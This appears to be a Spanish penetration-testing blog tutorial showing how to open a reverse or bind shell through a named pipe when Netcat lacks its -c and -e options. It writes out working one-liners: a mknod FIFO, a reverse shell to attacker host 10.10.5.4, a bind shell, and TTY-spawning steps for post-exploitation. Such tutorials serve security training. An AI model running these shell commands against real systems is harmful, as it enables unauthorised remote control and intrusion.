En más de una ocasión, cuando finalmente conseguimos ejecutar comandos en el host objetivo, por ejemplo a través de una vulnerabilidad web propicia, nos encontramos en la tesitura de pretender establecer una conexión hacia nuestro host de atacante, ya sea mediante reverse shell o una simple bind shell (eso ya lo veremos), para ello nos apoyamos en Netcat (como una de las primeras opciones, obviamente hay varias alternativas). Pero ¿Qué pasa cuando al intentar emplear Netcat nos encontramos con mensajes como el siguiente?

¡Nuestro gozo en un pozo! Nos tiramos de los pelos o directamente desistimos de seguir con Netcat y buscamos alternativas. Bien, pues el día de hoy, traemos una vía que me resultó curiosa en cuanto la conocí. La dejo por aquí comentada.

Primeramente vamos a contextualizar lo que comentamos de Netcat en esas situaciones que describimos más arriba. Sabemos que apoyados en las opciones «-c» y «-e» tendremos la oportunidad de ejecutar comandos en el sistema que conectemos, tal y como nos lo refleja el siguiente menú de ayuda:

Sin embargo no todas las compilaciones de Netcat admiten estas opciones (-c y -e) que por otro lado, están etiquetadas como «peligrosas«. Esto está relacionado por la disposición de GAPING_SECURITY_HOLE en el propio de código fuente de Netcat.

No debemos perder esperanza para conseguir nuestro propósito empleando Netcat. En este caso emplearemos una tubería (pipeline) para enviar los datos de regreso a la entrada de nuestra shell, para ello emplearemos el comando siguiente:

El comando mknod nos permitirá generar un fichero especial, en este caso gracias a la opción «p» una tubería de tipo FIFO (pipeline). Dado que estamos con un usuario con privilegios limitados, buscaremos un directorio donde podamos escribir, en este caso el directorio temporal (/tmp):

mknod /tmp/backpipe p

Observemos los atributos y propiedades de nuestra fichero especial creado (tubería/pipeline).

Listo, es momento de ponerlo en marcha y obtener nuestra reverse shell de forma alternativa. En el equipo del objeto tendremos que ejecutar el siguiente comando:

/bin/sh 0</tmp/backpipe | nc 10.10.5.4 7788 1>/tmp/backpipe

Previamente manteniéndonos en escucha desde nuestro equipo de atacante, que recibirá la conexión establecida por el objetivo:

Si optamos por establecer en su lugar una bind shell, el comando que debemos ejecutar en el objetivo es:

/bin/sh 0</tmp/backpipe | nc -lvp 8899 1>/tmp/backpipe

Y para establecer la conexión en el equipo de atacante ejecutamos Netcat de la siguiente forma:

Como veis, aunque nuestra compilación de Netcat no nos permita optar de las opciones -c y -e, siempre podremos tirar de esta técnica alternativa.

Listo, para finalizar realizamos el correspondiente «Spawning a TTY Shell» y continuamos con la post-explotación. Nos vemos en el próximo!

/usr/bin/script -qc /bin/bash /dev/null
[Ctrl + Z]
stty raw -echo; fg

Referencias: